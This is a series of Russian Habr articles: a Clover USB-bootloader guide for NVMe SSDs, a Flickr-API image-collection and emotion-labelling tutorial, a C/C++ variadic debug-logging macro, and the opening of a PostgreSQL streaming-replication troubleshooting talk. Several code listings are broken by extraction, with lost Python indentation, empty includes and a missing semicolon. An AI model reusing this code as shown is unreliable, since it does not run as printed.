Не пугайтесь вырвиглазного сайта, утилита работает отлично :-)
Для загрузки утилиты нажмите на картинку с буквами «Bu» и синей стрелкой, посредине сайта :-)
#### Примечание
> Для решения нашей проблемы мы будем использовать дополнительную загрузочную флешку, с которой поверх BIOS будет загружаться Clover, идентифицировать ваш новый быстрый NVMe SSD и передавать ему команду на загрузку вашей новенькой 64-битной Windows 10 (или любой другой).
>
>
>
> Отныне флешка навсегда будет установлена в свободном USB порту вашего компьютера, до тех пор, пока вы обновите старое железо!
>
>
>
> Да, у кого ноутбук, тот должен озаботиться тем, что свободных портов USB мало, а длинная флешка, все время торчащая из ноута, может оказаться не достаточно эстетичной.
>
>
>
> С другой стороны, теперь ваша флешка является крутейшим ключом защиты к вашему компьютеру, ибо без него комп просто не включится, а догадаться, что флешка должна БЫТЬ, да еще и с Клевером — это задача для истинных спецслужб.
**Если остался лишний SATA диск...***Теоретически, можно попробовать поставить Clover на лишний SATA диск или даже карту памяти, если таковые имеются в системе и с них поддерживается загрузка (у меня дисков не осталось, снес все, жужжат, а с карт памяти опции загружаться не было и нет). Во всяком случае документация по Клеверу такое допускает. Однако, в этом случае придется вручную поколдовать с загрузочной областью.*
### Создание установочной флешки
Если вам удалось загрузить утилиту BDUtility — запустите ее. Она запускается под Windows и с правами администратора, будьте внимательны.
Счастливым обладателем других операционных систем стоит пропустить этот пункт и вернуться к Clover Configurator выше.
### Запускаем BDUtility.exe
Далее следует выполнить ряд настроек, чтобы утилита загрузила последний дистрибутив Clover, настроила его и записала на вашу флешку. Флешка должна быть вставлена в USB-порт, и желательно начисто отформатирована.
> ### Примечание
>
>
>
> В настоящий момент утилита BDUtility забирает релизы Clover с сайта sourceforge.net, где размещены релизы вплоть до версии **Clover\_v2.5k\_r5070.zip**. После этого разработка Clover была перенесена на [GitHub](https://github.com/CloverHackyColor/CloverBootloader/releases), где сейчас размещен релиз **Clover\_v2.5k\_r5097.zip**. Учтите это в работе. BDUtility может опционально пользоваться предварительно скаченными релизами Clover (но совместимыми с BDUtility), если вам необходимо использовать именно последний релиз.
>
> Мы отправили запросы разработчикам Clover и BDUtility с просьбой прокоммуницировать между собой и переключить BDUtility на GitHub.
### Настройка BDUtility:
1. Убедитесь, что ваша флешка определилась утилитой
2. Зайдите в настройки утилиты **Options => Configuration**
3. Поставьте галочку **Check at Startup**, чтобы новая версия Clover проверялась при каждой загрузке
4. Нажмите кнопку **Check Now**, чтобы загрузить последний релиз Clover прямо сейчас
5. (опционально, рекомендация) Уберите галочку **Boot Partition Size**, чтобы весь объем вашей флешки был отведен поз загрузчик Colver, в противном случае вы будете видеть дополнительные диски (незанятые и не размеченные разделы флешки) в **«Моем компьютере»**, что через какое-то время начнет вас раздражать
6. Нажмите **ОК**
7. Нажмите кнопку **Format**, изучите конфигурацию создаваемого загрузчика и нажмите **ОК**
8. Ожидайте положительного результата (сядь на печку, приободрись...)
Теперь, когда флешка готова, попробуйте с нее загрузиться. Не забудьте настроить в BIOS загрузочный диск => ваша флешка.
Если загрузка произойдет, на экране должна появиться примерно такая картинка, с перечнем текущих вариантов загрузки. Можете попробовать найти вашу загрузочную запись и загрузить текущую ОС.
### Драйвера NVMe
Если ваш NVMe SSD диск уже вставлен в компьютер, не пытайтесь его найти в настройках Clover — его там нет. Дело в том, что по-умолчанию Clover не загружает драйвера для NVMe устройств. Драйвера необходимо включить в загрузку вручную.
Для этого открываем флешку в проводнике.
Заходим в папку ***G:\EFI\CLOVER\drivers\off*** (где диск «G» — это ваша флешка, а папка «off» — это папка с не подключенными драйверами Клевера).
Находим файл **NvmExpressDxe.efi**
Нажимаем **Ctrl + C**, чтобы скопировать файл в буфер обмена, и копируем файл в папки ***G:\EFI\CLOVER\drivers\BIOS*** и ***G:\EFI\CLOVER\drivers\UEFI***. Копируем на всякий случай в обе папки, чтобы не разбираться, какой у вас сейчас биос, старый BIOS или старый UEFI.
Перезагружаем компьютер, загружаемся с флешки-Clover и наблюдаем за количеством иконок на экране, обозначающих варианты загрузки — их должно стать больше, ибо теперь Clover видит ваш NVMe SSD.
> Пол дела позади!
### Установка новой ОС на новый NVMe SSD диск
Далее, чтобы воспользоваться преимуществом загрузки с быстрого NVMe SSD нам необходимо, собственно, поставить на него систему. И тут есть нюанс. Чтобы в дальнейшем не возникло проблем с попытками загружаться именно с вашего NVMe диска из-под Клевера, крайне рекомендуется не переносить вашу текущую систему на новый диск, а установить на NVMe диск новую систему с нуля. Проблема восходит корнями к типу загрузчика вашей операционной системы, который был выбран и использован при ее установке на компьютер. Если сейчас у вас система с BIOS без поддержки NVMe то и текущей загрузчик ОС ориентирован на BIOS, а не на EFI.
> *Именно этому загрузчику Clover передает управление, причем в режиме эмуляции EFI. Для справки, клеверный загрузчик моей Win64 лежит на клеверной флешке здесь **G:\EFI\BOOT\BOOTX64.efi***
Перенести такую ОС на NVMe диск и использовать для загрузки в режиме EFI просто так не получится, потребуется вручную сменить загрузчик ОС, а это трудоемко, не вполне оправданно и чревато, имхо.
Поэтому смело запасаемся лицензионным ключом от новой ОС (ну, или находим, где старый) и идем на страничку загрузки [Media Creation Tool](https://www.microsoft.com/ru-ru/software-download/windows10), чтобы сделать загрузочный диск вашей операционной системы Windows. Дело в том, что с некоторых пор Микрософт стал сам включать оба загрузчика BIOS и EFI в образ, создаваемый Media Creation Tool. И теперь эта загрузочная флешка может загружаться абсолютно на любых системах с Legacy BIOS, UEFI и EFI. А раньше приходилось обрабатывать полученный загрузочный образ и интегрировать в него [Rufus](https://rufus.ie/), для загрузки в режиме EFI ([пример](https://www.windowscentral.com/how-create-windows-10-usb-bootable-media-uefi-support), промотать до середины).
#### Примечание
> Да, вам понадобится вторая загрузочная флешка, чтобы установить ОС на NVMe SSD.
>
> Нет, на флешку с Clover дистрибутив Windows записать не получится.
### Установка ОС
Установка операционной системы на новый NVMe SSD происходит вполне штатно и быстро.
Вам необходимо загрузиться с двумя вставленными флешками, причем загрузиться с клеверной флешки, а не с дистрибутива Windows, не перепутайте.
В интерфейсе Клевера найдите загрузку с флешки с дистрибутивом вашей ОС. Далее должна начаться установка ОС. В какой-то момент система перезагрузится (вы же ставите Windows), и вам придется выбрать для продолжения уже загрузку с вашего NVMe SSD, опять же не перепутайте! Не выбирайте повторно загрузку с дистрибутива ОС, иначе установка просто начнется заново, а нам нужно чтобы она продолжилась с SSD и, желательно, завершилась.
После установки новой системы на ваш новый NVMe SSD, в Clover появится запись, что из-под него была установлена новая ОС. Также иконка загрузки новой ОС должна появиться первой в списке загрузок, и, если я ничего не путаю, то называться она будет **«Boot Microsoft EFI Boot from EFI»**.
И после окончательной установки ОС выньте флешку с ее дистрибутивом, чтобы она не отображалась больше в Клевере и в «Моем компьютере».
А в вашем BIOS порядок загрузки дисков должен всегда начинаться с клеверной флешки, пока не обновите железо до поддержки EFI.
*Тогда, и только тогда, вы сможете гордо поставить первым ваш, к тому времени уже постаревший, NVMe SSD!*.
Вот, собственно, и все
----------------------
Теперь при каждой перезагрузке вы будете попадать в интерфейс Clover, и нажимать на клавишу **Enter** (если ваша ОС стоит в списке первой). Зато потом наслаждаться новой системой и быстрым SSD :-)
> Мне, к сожалению, в отсутствии Clover Configuator так и не удалось настроить Клевер, чтобы он автоматически загружал мою ОС, например спустя 5 сек. бездействия. Чтобы каждый раз не нажимать клавишу Enter. Но такая опция в Клевере разумеется есть.
>
>
>
> Буду признателен, если кто-то знает как вручную, без конфигуратора, настроить такой режим загрузки. Файл настроек Клевера обычно лежит здесь ***G:\EFI\CLOVER\config.plist***
>
> [Говорят](https://www.win-raid.com/t2375f50-Guide-NVMe-boot-without-modding-your-UEFI-BIOS-Clover-EFI-bootloader-method.html), что за эту опцию отвечают теги:
>
>
>
>
> ```
> Timeout
> 5
> и
> DefaultVolume
> LastBootedVolume
> ```
>
>
> В первом указывается время задержки перед автозагрузкой, а во втором — id диска с которого мы хотим грузиться по умолчанию, или значение LastBootedVolume, в котором запоминается id последнего диска, с которого производилась загрузка.
>
>
>
> Но у меня почему-то не работает :-(
>
>
>
> Есть подозрение, что с этими значениями какой-то лаг в Клевере на AMD. То ли таймер не считает, то ли LastBootedVolume не запоминается, но не уверен.
THE END
=======
***P.S.**
Но если бы вы изначально заплатили чуть побольше, и купили бы не переходник PCI-E >> М.2, а Raid контроллер для M.2 дисков, то вам бы не пришлось читать все вышенаписанное, и тем боле все это делать… Потому что Raid контроллер имеет сою собственную микросистему и эмулирует (или имитирует) себя как Legacy устройство, делая доступными все вставленные в него диски во всех биосах, старых и новых.*
***UPD**
Пользователи [alpha\_ds](https://habr.com/ru/users/alpha_ds/) и [walkman7](https://habr.com/ru/users/walkman7/) любезно дополнили пост тегом DefaultVolume и ссылкой на web-конфигуратор Clover.
Спасибо [igrblkv](https://habr.com/ru/users/igrblkv/) за наводку на [CloverGitHub](https://github.com/CloverHackyColor/CloverBootloader/releases) .* | https://habr.com/ru/post/472224/ | null | ru | null |
# AI, практический курс. Сбор и исследование изображений
В данной статье обсуждаются методы, используемые при сборе данных с изображениями в музыкальном проекте со слайд-шоу. Возникли ограничения, вынудившие нас воспользоваться существующей базой данных изображений, а не изображениями, взятыми с Flickr. Тем не менее, в данной статье рассматриваются оба подхода, чтобы читатель мог научиться извлекать данные при помощи Flickr API.
Далее, поскольку качество значительной части изображений, собранных с Flickr, оказалось низким, было решено использовать изображения из существующих баз данных изображений. В частности, были собраны изображения из трех баз данных для психологических исследований.
Напомним, что изначально для данного проекта были выбраны следующие наборы данных:
1. Набор данных для обучения, содержащий 7000 эмоционально-окрашенных изображений с [Flickr](https://www.flickr.com/) для алгоритма извлечения эмоций.
2. Набор данных для обучения, содержащий произведения Баха, для алгоритма завершения мелодии.
3. Набор мелодий, служащих шаблонами для модуляции эмоций.
Теперь необходимо собрать наборы данных. Как будет показано в статье, объем требуемой для этого работы существенно различается в зависимости от выбранного набора данных.
Сбор данных с изображениями
---------------------------
Для данного проекта требовался набор изображений, вызывающих семь различных эмоций: счастье, грусть, страх, тревога, трепет, решимость, злость. Для сбора изображений было решено использовать Flickr, популярный сайт по обмену фотографиями, благодаря его размеру и лицензированию Creative Commons\*.
Поиск по Flickr 7000 изображений вручную — задача пугающая. К счастью, у Flickr есть [API](https://www.flickr.com/services/api/), обеспечивающий набор методов, которые позволяют легко обмениваться данными с Flickr на языке программирования. Однако прежде, чем использовать API для сбора изображений, важно знать, что искать, чтобы вызвать соответствующие эмоции. Для определения списка условий поиска использовалась задача на платформе [Amazon Mechanical Turk](https://www.mturk.com/mturk/welcome)\*.
### Flickr API
Для использования методов, предлагаемых Flickr API потребуется создать учетную запись Flickr и запросить ключ API. Для этого обязательно иметь учетную запись Flickr или Yahoo!\*. Далее необходимо пройти по [этой ссылке](https://www.flickr.com/services/apps/create/apply/) и получить ключ.
*Скриншот страницы [www.flickr.com/services/apps/create/apply](https://www.flickr.com/services/apps/create/apply/)*
Процесс обработки заявки на некоммерческий ключ довольно прост. Он включает в себя описание планируемого использования и принятие условий использования. Ключ API представляет собой меру безопасности и используется для предотвращения неправильного использования API. В методах, предоставляемых API, он является обязательным параметром.
После получения ключа API можно загрузить и установить набор инструментов API для одного из языков программирования из [The App Garden](https://www.flickr.com/services/api/). В данном проекте используется [Beej's PythonI Flickr API](http://stuvel.eu/flickrapi), который можно использовать с языком Python 3. Необходимо следовать [руководству по установке](https://stuvel.eu/flickrapi) Flickr API.
Код, использованный для загрузки изображений, приведен ниже. В основном здесь используется функция API walk, осуществляющая поиск изображения по тегу. Теги хранятся в файле .txt и перечисляются по одному в строке. Если изображение найдено, его URL создается из шаблона на *[farm](https://farm){farm-id}.staticflickr.com/{server-id}/{id}\_{secret}.jpg*, где содержимое фигурных скобок заменяется на атрибуты изображения. Затем топ-30 изображений для каждого тега (отсортированные по релевантности) извлекаются и организуются в папки, в зависимости от эмоции и условий поиска.
```
import flickrapi
import urllib.request
import os
project_path = '/path/to/your/project'
photos_per_tag = 30
filenames = ['Awe.txt', 'Happiness.txt', 'Fear.txt', 'Determination.txt',
'Anxiety.txt', 'Tranquility.txt', 'Sadness.txt']
def download_files(flickr, t, category, num_photos):
# Downloads the files of a specific tag
os.mkdir(t)
os.chdir(t)
s = []
for photo in flickr.walk(tag_mode='all', sort='relevance', tags=t, license=4, per_page=50):
url = 'https://farm{}.staticflickr.com/{}/{}_{}.jpg'.format(photo.get('farm'),
photo.get('server'), photo.get('id'), photo.get('secret'))
s.append(url)
if len(s) == num_photos:
break
for i in range(len(s)):
filename = '{}_{}_{}.jpg'.format(category, t, str(i))
urllib.request.urlretrieve(s[i], filename)
os.chdir(os.path.join(project_path, category))
if __name__ == '__main__':
# Creates flickr object
# These keys should be requested from flickr
api_key = u'xxxxxxxxxxxx'
api_secret = u'xxxxxxxxxxx'
flickr = flickrapi.FlickrAPI(api_key, api_secret)
# Runs the program, cycles through the emotions and downloads the images for each tag.
os.chdir(project_path)
for fname in filenames:
categ = fname[:-4]
with open(fname, 'r') as f:
tags = f.read().splitlines()
os.mkdir(categ)
os.chdir(categ)
for t in tags:
download_files(flickr, t, categ, photos_per_tag)
os.chdir(project_path)
```
Чтобы использовать данный код, необходимо клонировать репозиторий по ссылке с [GitHub](https://github.com/harrysha1029/flickr_download_images). После этого следуйте инструкциям, содержащимся в файле README. Необходимо заменить параметры api\_key и api\_secret на ключи API, полученные на Flickr. Как упоминалось выше, этот скрипт работает только на Python 3.
После того, как программа отработает, папка выглядит следующим образом:
*Набор данных по результатам поиска на Flickr.*
В сумме собрано около 8800 изображений. Получено больше изображений чем требовалось, так как мы планировали отбросить часть изображений низкого качества, которые нельзя использовать. Следующим шагом был поиск этих изображений.
### Отбор изображений
Качество собранных изображений было разным. Некоторые условия поиска, например, цветы (показанные на рисунке) давали пригодные к использованию изображения высокого качества. Однако менее конкретные условия поиска зачастую давали абсолютно непригодные к использованию изображения. Например, по тегу чудо (в связи с эмоцией трепет) было получено изображение торта с чудо-женщиной\*, а по тегу амбициозный (в связи с эмоцией решимость) было найдено изображение капусты из Ambitious Farms.
*Непригодные к использованию изображения.*
Любому, кто планирует использовать Flickr API для поиска изображений, рекомендуется использовать в качестве условий поиска конкретные существительные. Найденные по ним изображения гораздо лучше, чем при использовании прилагательных или абстрактных существительных. Например, при поиске изображений, вызывающих трепет, следует использовать такие условия поиска, как океан или Большой каньон, а не трепет или чудо.
После просмотра изображений команда пришла к выводу, что более 40 процентов изображений непригодны к использованию. В результате был пересмотрен подход к выбору набора данных. После обсуждения ряда возможностей, таких как ограничение набора изображениями лиц с соответствующими эмоциями, было принято решение использовать изображения из существующих баз данных, которые обычно используются в психологических исследованиях (Geneva Affective PicturE Database ([GAPED](http://www.affective-sciences.org/home/research/materials-and-online-research/research-material/)), Open Affective Standardized Image Set ([OASIS](http://www.benedekkurdi.com/)) и Image Stimuli for Emotion Elicitation ([ISEE](http://infolab.stanford.edu/~wangz/project/imsearch/Aesthetics/APS15/))).
Несмотря на то, что изображения в существующих базах данных менее разнообразны, чем могли бы быть в новом наборе данных, выбор был сделан в пользу существующих баз данных благодаря более высокому качеству изображений и наличию информации о параметрах. Наличие информации о параметрах является огромным преимуществом, так как благодаря этому отпадает необходимость в аннотировании при помощи Amazon Mechanical Turk, что заметно снижает стоимость.
### Источник данных
Процесс сбора данных для нового набора данных был значительно проще. В частности, больше не требовались шаги с Amazon Mechanical Turk и Flickr API. Наборы данных GAPED и OASIS (включающие разметку параметров) доступны в Интернете для скачивания. Набор данных ISEE стал доступен после электронного письма автору с запросом доступа. Если инструкции по загрузке наборов данных недостаточно понятны, вероятнее всего, поиск Google\* поможет найти контакты авторов, у которых можно напрямую запросить доступ к наборам данных.
Для данного проекта были созданы два набора данных. В первом использовался Flickr API для загрузки изображений по тегам эмоций, второй представлял собой компиляцию из существующих баз данных, используемых в психологических исследованиях. Каждый из этих наборов данных имеет свои плюсы и минусы; однако для проекта был выбран второй — благодаря таким преимуществам, как качество изображений, наличие размеченных параметров и стоимость.
Метод, используемый для сбора данных, напрямую зависит от того, какие данные требуются. Тем не менее, процессы и методы, описанные в данной статье, вероятно, окажутся полезными для многих проектов.
Теперь, когда наборы данных созданы, проект готов к выполнению следующих шагов — исследованию и предварительной обработке данных.
Исследование данных с изображениями
-----------------------------------
Поскольку качество значительной части изображений, собранных с Flickr, оказалось низким, было решено использовать изображения из существующих баз данных изображений. В частности, были собраны изображения из трех баз данных для психологических исследований. Каждое изображение включает в себя информацию о рейтинге (не)приятности и интенсивности, собранную с нескольких исполнителей. 1986 изображений из этих баз данных были разбиты на 4 категории. Эти категории покрывали 87% изображений и включали 34% животных, 28% людей, 13% сцен и 12% объектов. Оставшиеся 13% были отнесены к категории «разное».
### Животные
*Примеры изображений из категории «Животные»*
Около одной трети изображений содержат животных — либо изолированных, либо вместе с другими животными, как показано выше. В этих примерах при продвижении слева направо рейтинг приятности возрастает. Неприятные изображения гиен, поедающих свою добычу, и тараканов могут вызывать отклик в виде таких эмоций, как: страх, грусть и отвращение.
Изображения справа — спящий кот, улыбающаяся собака — наоборот, могут вызывать симпатию и счастье.
### Люди
*Примеры изображений из категории «Люди»*
Категория изображений «Люди» включает изображения отдельных людей и групп людей, при этом изображения групп людей часто содержат больше информации о контексте. Например, изображение марширующего оркестра, похоже, снято на фоне заполненного фанатами стадиона, наводя на предположение, что на изображении снято некое представление во время спортивных состязаний. Изображение злой женщины, наоборот, лишено контекста — у зрителя нет возможности узнать или догадаться о причине ее злости. Следует отметить, что не все изображения со множеством людей или с группами имеют дополнительную информацию.
Например, изображение мужчин, лежащих в линию на полу, с видимыми ранениями и в окровавленной одежде, не дает представления о том, что происходит. Тем не менее, даже при таком недостатке информации изображения с людьми вызывают различные эмоциональные реакции.
### Сцены
Категория «Сцены» набора изображений включает разнообразные сцены — от рукотворных строений и объектов до сцен природы и даже космоса.
*Примеры изображений из категории «Сцены»*
### Объекты
*Примеры изображений из категории «Объекты»*
В категорию «Объекты» набора изображений вошли изображения, сфокусированные на одном объекте, как показано на примерах выше. В этих изображениях отсутствует ситуационный контекст, особенно если сравнивать их с другими категориями в наборе изображений.
### Разное
*Примеры изображений из категории «Разное»*
Наконец, в наборе осталась подгруппа изображений, которые нельзя было отнести ни к одной из четырех категорий. Часто, как показано на примерах, эти изображение представляли собой сцены с несколькими объектами, но без контекста, характерного для изображений категории «Сцены». Этот тип изображений, как правило, содержал нейтральный рейтинг — они не были ни приятными, ни неприятными.
Категории эмоций для базы данных изображений
--------------------------------------------
Чтобы определить категории эмоций для базы данных изображений, мы опирались на нормативные субъективные рейтинги значимости, сопровождающие каждое изображение баз данных Geneva Affective PicturE Database (GAPED) и Open Affective Standardized Image Set (OASIS). Поскольку в GAPED использовалась шкала Лайкерта от 0 до 100, а в OASIS — шкала Лайкерта от 1 до 7, была применена линейная трансформация, приводящая все оценки в непрерывную шкалу от 0 до 100. Затем были исследованы два потенциальных правила категоризации эмоций.
Во-первых, интуитивно желательным является сортировка изображений по уровню приятности с последующим разделением на три части по шкале рейтинга — так, чтобы изображения с оценками 0–33,33 представляли отрицательную категорию, c оценками 33,33–66,67 — нейтральную, а с оценками 66,67–100 — положительную категорию. Для реализации этого правила разделения на три категории был использован код на Python:
```
import os
import shutil
import csv
def organizeFolderGAPED(original, pos, neg, neut):
# Копирует каждое изображение базы данных GAPED в соответствующую папку
# Создать словарь имен файлов и уровня значимости
dict = {}
files = os.listdir(original)
for file in files:
if '.txt' in file:
with open(os.path.join(original, file), 'r') as f:
for l in f:
l = l.split()
dict[l[0][:-4]] = l[1]
# Перебрать изображения и разделить файлы на категории pos/neg/neut в зависимости от уровня значимости
for roots, dirs, files, in os.walk(original):
for file in files:
if '.bmp' in file:
if float(dict[file[:-4]]) < 100/3:
shutil.copy(os.path.join(roots, file), neg)
elif float(dict[file[:-4]]) > 200/3:
shutil.copy(os.path.join(roots, file), pos)
else:
shutil.copy(os.path.join(roots, file), neut)
def organizeFolderOASIS(original, pos, neg, neut):
# Копирует каждое изображение базы данных GAPED в соответствующую папку
# Создать словарь имен файлов и уровня значимости
dict = {}
with open('/Users/harrys/Desktop/OASIS.csv') as file:
reader = csv.reader(file)
for row in reader:
dict[row[1]] = row[4]
# Перебрать изображения и разделить файлы на категории pos/neg/neut в зависимости от нормированного уровня значимости
for roots, dirs, files, in os.walk(original):
for file in files:
if '.jpg' in file:
if (float(dict[file[:-4]])-1)*100/6 < 100/3:
shutil.copy(os.path.join(roots, file), neg)
elif (float(dict[file[:-4]])-1)*100/6 > 200/3:
shutil.copy(os.path.join(roots, file), pos)
else:
shutil.copy(os.path.join(roots, file), neut)
if __name__ == '__main__' :
gaped = 'path/to/your/project/directory/GAPED'
oasis = 'path/to/your/project/directory/Oasis'
pos = 'path/to/your/project/directory/Positive'
neg = 'path/to/your/project/directory/Negative'
neut = 'path/to/your/project/directory/Neutral'
organizeFolderOASIS(oasis, pos, neg, neut)
organizeFolderGAPED(gaped, pos, neg, neut)
```
Данный подход позволил разделить базу данных на категории: 417 отрицательных изображений, 774 нейтральных и 442 положительных. В данном подходе деления на три категории в равных долях неприятные изображения, рейтинг которых не достигал порогового значения, были отнесены к категории нейтральных; например, изображения мертвого тела, плачущего ребенка, кладбища были отнесены к нейтральным. Хотя эти изображения были менее неприятными, чем другие в категории отрицательных, возникло сомнение в их нейтральности.
Поэтому было принято решение применить оптимизированное правило категоризации на основе нормального распределения данных, а также улучшить разделение параметров на эмоциональные категории. Значения 0–39 были отнесены к отрицательной категории, 40–60 — к нейтральной, а 61–100 — к положительной. Для реализации этого правила был использован код на Python:
```
import os
import shutil
import csv
def organizeFolderGAPED(original, pos, neg, neut):
# Копирует каждое изображение базы данных GAPED в соответствующую папку
# Создать словарь имен файлов и уровня значимости
dict = {}
files = os.listdir(original)
for file in files:
if '.txt' in file:
with open(os.path.join(original, file), 'r') as f:
for l in f:
l = l.split()
dict[l[0][:-4]] = l[1]
# Перебрать изображения и разделить файлы на категории pos/neg/neut в зависимости от уровня значимости
for roots, dirs, files, in os.walk(original):
for file in files:
if '.bmp' in file:
if float(dict[file[:-4]]) < 40:
shutil.copy(os.path.join(roots, file), neg)
elif float(dict[file[:-4]]) > 60:
shutil.copy(os.path.join(roots, file), pos)
else:
shutil.copy(os.path.join(roots, file), neut)
def organizeFolderOASIS(original, pos, neg, neut):
# Копирует каждое изображение базы данных GAPED в соответствующую папку
# Создать словарь имен файлов и уровня значимости
dict = {}
with open('path/to/your/project/directory/OASIS.csv') as file:
reader = csv.reader(file)
for row in reader:
dict[row[1]] = row[4]
# Перебрать изображения и разделить файлы на категории pos/neg/neut в зависимости от нормированного уровня значимости
for roots, dirs, files, in os.walk(original):
for file in files:
if '.jpg' in file:
if (float(dict[file[:-4]])-1)*100/6 < 40:
shutil.copy(os.path.join(roots, file), neg)
elif (float(dict[file[:-4]])-1)*100/6 > 60:
shutil.copy(os.path.join(roots, file), pos)
else:
shutil.copy(os.path.join(roots, file), neut)
if __name__ == '__main__' :
gaped = 'path/to/your/project/directory/GAPED'
oasis = 'path/to/your/project/directory/Oasis'
pos = 'path/to/your/project/directory/Positive'
neg = 'path/to/your/project/directory/Negative'
neut = 'path/to/your/project/directory/Neutral'
organizeFolderOASIS(oasis, pos, neg, neut)
organizeFolderGAPED(gaped, pos, neg, neut)
```
С таким правилом категоризации 40–60–40 567 положительных изображений были оценены как более приятные, чем 502 нейтральных, а 564 отрицательных изображения были оценены как менее приятные, чем нейтральные. Таким образом, было сохранено целевое значение эмоциональных категорий и улучшено распределение изображений по категориям. Ниже на рисунке проиллюстрирован уровень приятности, связанный с каждой из категорий. Разная длина усов на диаграмме рассеивания указывает, в какой эмоциональной категории (положительной или отрицательной) наблюдается больший разброс рейтингов по сравнению с нейтральной категорией.
*Средние рейтинги приятности для каждой из эмоциональных категорий*
Мы пришли к выводу, что данное правило категоризации достаточно для классификации изображений на основе эмоций. Что касается категорий параметров базы данных изображений, ниже продемонстрированы типы изображений, представляющих каждую из эмоциональных категорий. Следует отметить, что каждая категория параметров (животные, люди, сцены, объекты, разное) представлена в каждой из эмоциональных категорий.
*Эмоциональная категория 1: Отрицательная*
*Эмоциональная категория 2: Нейтральная*
*Эмоциональная категория 3: Положительная*
Подведем итог. Мы разделили базу данных изображений на нейтральную, отрицательную и положительную эмоциональные категории, используя нормативные рейтинги значимости в диапазоне от 0 до 100, отнеся значения 0–39 к отрицательным, 40–60 к нейтральным, а 61–100 — к положительным. Изображения соответствующим образом распределились по этим эмоциональным категориям. Наконец, в каждую эмоциональную категорию вошли изображения животных, людей, сцен, объектов и разного. | https://habr.com/ru/post/413839/ | null | ru | null |
# Макросы с переменным числом параметров
Недавно пришлось мне разбираться с одним Open Source проектом. Нужно было разобраться с одной ошибкой. Ошибка была плавающей и проявлялась исключительно на стенде, после получаса раб. Да и то не всегда. Поэтому было принято решение логировать определенные участки кода.
Поэтому была написана простая функция:
```
void dbg(const char * AMsg);
```
которая записывала строку в лог. Вскоре оказалось, что такой функции недостаточно и она была переписана в таком виде:
```
void dbg(const char * AFmt, ...);
```
т.е. теперь она при помощи функции vfprintf() записывала в файл форматированную строку. По мере роста числа вызовов, захотелось писать в файл еще два параметра, а именно \_\_LINE\_\_ и \_\_FILE\_\_. Передавать эти два параметра при каждом вызове функции не хотелось, поэтому было принято решение написать макрос-обертку над функцией dbg(), который бы принимал переменное число параметров, вызывал исходную функцию и передавал бы ей двумя первыми параметрами имя файла и номер строки.
Погуглив, я нашел довольно красивое [решение](http://exelab.ru/pro/cpp.php?r=beginners&d=zgrt176) — описать класс и перегрузить в нем оператор (). Я набросал тестовый проект, протестировал новый макрос и измененную функцию и остался доволен результатом. После этого подключил файлы в исходный проект, h-файл заинклюдил в «StdAfx.h» и нажал Build. И тут меня настигло глубокое разочарование. Оказалась, что часть проекта написана на чистом Си, который имел в виду мои классы.
Погуглив еще, я нашел [такое](http://www.gamedev.ru/faq/?id=124) решение. Но увы, я использовал VC6…
И тогда меня посетила идея — а, что если макрос будет заменяться функцией, которая будет принимать параметры \_\_FILE\_\_ и \_\_LINE\_\_, сохранять их где нибудь и возвращать указатель на оригинальную функцию dbg(). А эта функция будет считывать сохраненные параметры и записывать их в файл. Параметры было решено сохранять в глобальные переменные. А сами переменные, дабы не нарваться на грабли при многопоточной работе, объявить как \_\_declspec(thread). B вот, что получилось в итоге:
h-файл
```
// File debug_info.h
#ifndef __DEBUG_INFO_H
#define __DEBUG_INFO_H
// Объявление типа указателя на функцию, записывающей лог
typedef void (* DbgFuncType)(const char * AFmt, ...);
// Функция, сохраняющая параметры __FILE__ и __LINE__, и возвращающая указатель на функцию логирования
#ifdef __cplusplus
extern "C"
#endif
DbgFuncType DbgFuncRet(const char* AFile, int ALine);
// Собственно сам макрос
#define dbg DbgFuncRet(__FILE__, __LINE__)
#endif
```
cpp-файл
```
// File debug_info.h
#include "StdAfx.h"
#include
#include
\_\_declspec(thread) char \_\_File\_\_[MAX\_PATH];
\_\_declspec(thread) int \_\_Line\_\_;
void DbgFunc(const char \* AFmt, ...) {
FILE \* log;
if (fopen\_s(&log, log\_name, "a"))
return;
va\_list args;
va\_start(args, AFmt);
vfprintf(log, AFmt, args);
fprintf(log, "File: \"%s\", Line: %d\n", \_\_File\_\_, \_\_Line\_\_);
fclose(log);
va\_end(args);
}
DbgFuncType DbgFuncRet(const char\* AFile, int ALine) {
strcpy\_s(\_\_File\_\_, MAX\_PATH, AFile);
\_\_Line\_\_ = ALine;
return &DbgFunc
}
```
Вот и все. Единственное, на чем хотелось бы остановиться, это объявление функции DbgFuncRet()
```
#ifdef __cplusplus
extern "C"
#endif
DbgFuncType DbgFuncRet(const char* AFile, int ALine);
```
Т.к. заголовок подключается и в c и в cpp файлы, то транслятор имен будет применять разные декорации для функции. А такое объявление говорит транслятору всегда использовать декорацию C. | https://habr.com/ru/post/138150/ | null | ru | null |
# Отладка и устранение проблем в PostgreSQL Streaming Replication
Потоковая репликация, которая появилась в 2010 году, стала одной из прорывных фич PostgreSQL и в настоящее время практически ни одна инсталляция не обходится без использования потоковой репликации. Она надежна, легка в настройке, нетребовательна к ресурсам. Однако при всех своих положительных качествах, при её эксплуатации могут возникать различные проблемы и неприятные ситуации.
**Алексей Лесовский** ([@lesovsky](https://habr.com/users/lesovsky/)) на Highload++ 2017 рассказал, как с помощью встроенных и сторонних инструментов, **диагностировать различные типы проблем и как устранять их**. Под катом расшифровка этого доклада, построенного по спиральному принципу: сначала мы перечислим все возможные средства диагностики, потом перейдем к перечислению типовых проблем и их диагностике, далее посмотрим, какие экстренные меры можно принять, и наконец как радикально справиться с задачей.
**О спикере**: Алексей Лесовский администратор баз данных в компании Data Egret. Одной из любимых тем Алексея в PostgreSQL является потоковая репликация и работа со статистикой, поэтому доклад на Highload++ 2017 был посвящен тому, как помощью статистики искать проблемы, и какие использовать методы для их устранения.
План
----
1. [Немного теории, или как работает репликация в PostgreSQL](#replicationSql)
2. [Troubleshooting tools или что есть у PostgreSQL и сообщества](#tools)
3. [Troubleshooting cases:](#cases)
* проблемы: их симптомы и диагностика
* решения
* меры, которые нужно принимать, чтобы этих проблем не возникало.
**Зачем всё это?** Эта статья поможет вам лучше разбираться в потоковой репликации, научиться быстро находить и устранять проблемы, чтобы сократить время реакции на неприятные инциденты.
Немного теории
--------------
В PostgreSQL есть такая сущность, как Write-Ahead Log (XLOG) — это журнал транзакций. *Почти* все изменения, которые происходят с данными и метаданными внутри базы данных, записываются в этом журнале. Если вдруг произошла какая-то авария, PostgreSQL запускается, читает журнал транзакций и восстанавливает записанные изменения на данных. Так обеспечивается надежность — одно из важнейших свойств любой СУБД и PostgreSQL в том числе.
Журнал транзакций может заполнятся двумя способами:
